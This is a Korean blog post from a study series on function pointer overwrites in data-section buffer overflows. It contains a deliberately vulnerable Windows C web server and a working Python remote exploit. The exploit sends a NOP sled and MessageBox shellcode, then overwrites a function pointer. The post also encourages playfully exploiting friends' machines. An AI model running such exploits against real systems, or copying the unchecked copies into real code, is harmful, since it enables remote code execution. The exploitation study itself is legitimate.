Training 2020 #6 ( Funtion Pointer Overwrite )
이번 포스팅부터는 기본적인 스택 버퍼 오버플로우 기법과 취약점 발생 원리는 동일하나 공격 방법이 다른 힙 메모리와 data 섹션에서 발생하는 버퍼 오버 플로우에 대해 알아볼 것이다.
힙 메모리는 스택과 다르게 RET, SEH가 존재하지 않으므로 공격을 성공시키기 위해 힙 메모리에 존재하는 다른 오브젝트, 포인터 및 헤더 등을 덮어쓰는 방법으로 공격한다.
Function Pointer Overwrite
Function Pointer Overwrite 란 말 그대로 함수의 포인터를 덮는 것이다. 이를 자세히 이해하기 위해서는 메모리의 구조를 알 필요가 있다.
전체적인 메모리 구조이다.
보면 알 수 있듯이 Stack만 높은 주소에서 낮은 주소로 자라고 나머지 Heap, BSS, Data, Text는 낮은 주소에서 높은 주소로 자라는 것을 알 수 있다.
static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
strcpy(log_buf,buf);
log_func();
위에 소스는 static으로 정적 변수를 선언하였다. 따라서 Data 영역에 변수가 올라가게 되고 buf에 500바이트 이상의 문자열을 입력하게 되면 strcpy함수 부분에서 문자열의 길이를 검사하지 않아 log_buf[500]의 크기를 모두 덮어씌운 다음 함수 포인터를 수정할 수 있게 될 것이다.
실습
#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
int log_GET(void){
printf("Logging : %s\n", log_buf);
return 0;
}
int log_POST(void){
printf("Logging : %s\n", log_buf);
return 0;
}
int parse(SOCKET sock, char *buf){
char url[1000] = {0,};
char send_buf[2000]={0,};
char * token = strtok(buf, " ");
char * method = token;
//if(strlen(token+(strlen(method)+1))>1000) exit(1);
strcpy(url,token+(strlen(method)+1));
printf("URL : %s ",url);
if (strcmp(method,"GET") == 0){
sprintf(send_buf,
"HTTP/1.1 200 OK\n"
"Server: simple web server\n"
"Content-Type: text/html\n\n"
"<html>\n"
"<body>\n"
"Welcome To My WebServer !!\n"
"</body>\n"
"</html>"
);
send(sock, send_buf, sizeof(send_buf), 0);
log_func = log_GET;
} else {
sprintf(send_buf,
"HTTP/1.1 404 Not Found\n"
"Server: simple web server\n"
"Content-Type: text/html\n\n"
"<html>\n"
"<body>\n"
"Page Not Found!!\n"
"</body>\n"
"</html>"
);
send(sock, send_buf, sizeof(send_buf), 0);
log_func = log_POST;
}
printf("\nlog func ptr : 0x%x\n",log_func);
printf("\nlog buf length : %d\n",strlen(url));
memcpy(log_buf, url, strlen(url));
printf("\nlog buf : 0x%x\n",&log_buf);
printf("\nlog func ptr : 0x%x\n",log_func);
log_func();
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsadata = {0};
WSAStartup(WORD(2.0), &wsadata);
sockaddr_in addr_server = {0,};
sockaddr_in addr_client = {0,};
SOCKET server_sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKET client_sock = socket(AF_INET, SOCK_STREAM, 0);
addr_server.sin_family = AF_INET;
addr_server.sin_addr.s_addr = htonl(INADDR_ANY);
addr_server.sin_port = htons(80);
int addrlen_server = sizeof(sockaddr);
int addrlen_clt = sizeof(sockaddr);
char recv_buf[2000]={0,};
printf("# Simple Web Server v0.1\n");
printf("[+] Server Start !!\n");
if (bind(server_sock, (sockaddr *)&addr_server, sizeof(sockaddr)) == SOCKET_ERROR) {
printf("Bind Error : %d\n", WSAGetLastError());
exit(-1);
}
if (listen(server_sock, 5) == SOCKET_ERROR) {
printf("Listen Error : %d\n", WSAGetLastError());
exit(-1);
}
while (1) {
client_sock = accept(server_sock, (sockaddr *)&addr_client, &addrlen_clt);
if (client_sock == INVALID_SOCKET) {
printf("accept failed. Error No. %d\n", WSAGetLastError());
}
//printf("Connected : %ld\n", client_sock);
recv(client_sock, recv_buf, 2000, 0);
parse(client_sock,recv_buf);
closesocket(client_sock);
}
return 0;
}
이번에 공격할 간단한 원격 웹 서버 프로그램의 소스 코드이다. ( 사실 나는 간단하지 않지만 책에서 간단하다 그랬으니 그런걸로 하자. )
위 소스 코드를 실행하고 브라우저에서 127.0.0.1 ( localhost ) 또는 자신의 아이피 주소를 입력해 보자. 그러면 서버 프로그램이 실행 중인 터미널에 접속 정보 및 입력 문자열 길이 등의 정보가 출력된다.
static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
int parse(SOCKET sock, char *buf){
char url[1000] = {0,};
memcpy(log_buf, url, strlen(url));
위 세가지 코드를 확인해보자. 이 소스코드의 취약점이 보일 것이다.
- log_buf 의 크기는 500 이다.
- url 의 크기는 1000 이다.
- log_buf 에 url 의 내용을 옮기며 옮길 수 있는 크기는 url의 길이 만큼이다.
- url 에 500 바이트 이상의 문자열을 입력하면 메모리를 덮어씌울 수 있다.
더 자세히 분석하기 위해 immunity debugger를 이용하였다.
우선 취약점이 존재하는 함수에 BP를 걸어주기 위해 Ctrl + N 을 눌러 함수 이름에서 parse 함수를 찾아주자.
)
그 후 memcpy 함수 부분을 확인해보자. EBP-3E8에 있는 값을 ECX로 옮겨 ECX를 log_buf의 위치 ( 0x00403020 )로 옮겨간다는 것을 확인할 수 있다.
왼쪽 아래 덤프창에서 log_buf ( 0x00403020 )이 덮어 씌워지는 것을 확인할 수 있다.
그 후 프로그램을 진행시키다 보면 log_func을 부르는 부분이 있는데 어셈블리어를 보면 그 주소값을 담고 있는 위치가 0x00403214 이다. 하지만 아까 입력받은 url 주소가 500 바이트가 넘어가며 0x303d713b로 덮여있는 것을 확인할 수 있었다. 이 프로그램에는 log_func의 값을 출력해주는 함수가 있으니 한번 더 실행시켜서 확인해보자.
위에서 확인한 대로 0x303d713b로 log_func의 주소가 뒤덮인 것을 확인할 수 있었다. 따라서 0x00403214의 위치를 우리가 쉘코드를 입력한 주소로 넘겨주기만 하면 우리가 원하는 프로그램을 실행시킬 수 있다.
import struct
from socket import *
NOP = "\x90" * 200
# Messagebox: HelloSCP!!
SHELLCODE = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x50\x21"
SHELLCODE += "\x21\x01\x68\x6c\x6f\x53\x43\x68\x20\x48\x65\x6c\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
print "Shellcode Length :", len(SHELLCODE)
DUMMY = "A"*(499-len(NOP+SHELLCODE))
BUF = struct.pack('<L',0x00403020)
#BUF = struct.pack('<L',0x00000000)
PAYLOAD = NOP + SHELLCODE + DUMMY + BUF
print " [+] Sending Packet..."
s = socket(AF_INET,SOCK_STREAM,0)
s.connect(('127.0.0.1',80))
s.send("GET /"+PAYLOAD)
print s.recv(150)
s.close()
위에서 알아낸 정보들을 토대로 완성된 쉘코드이다.
쉘코드를 실행시켜 성공적으로 메시지 박스를 띄울 수 있었다!
재밌다!
실험할 수 있는 실험체 (친구) 가 있다면 친구와 함께 실습하면 더 재밌었다!
웹 서버 프로그램을 공격하는 Exploit을 Remote Exploit 공격이라고 부르는데 원격으로 공격을 실행할 수 있어 서로의 IP를 알고 있다면 서로 웹 서버 프로그램을 실행시키고 원격으로 공격을 하면서 놀 수 있다!
(처음엔 선배님이 실험체가 되어주어서 선배님 화면에 계산기를 띄웠는데 재밌었다. 보여주기식 공격이었지만 그래도 다시 한번 흥미를 가지고 공부를 할 수 있게 되었다.)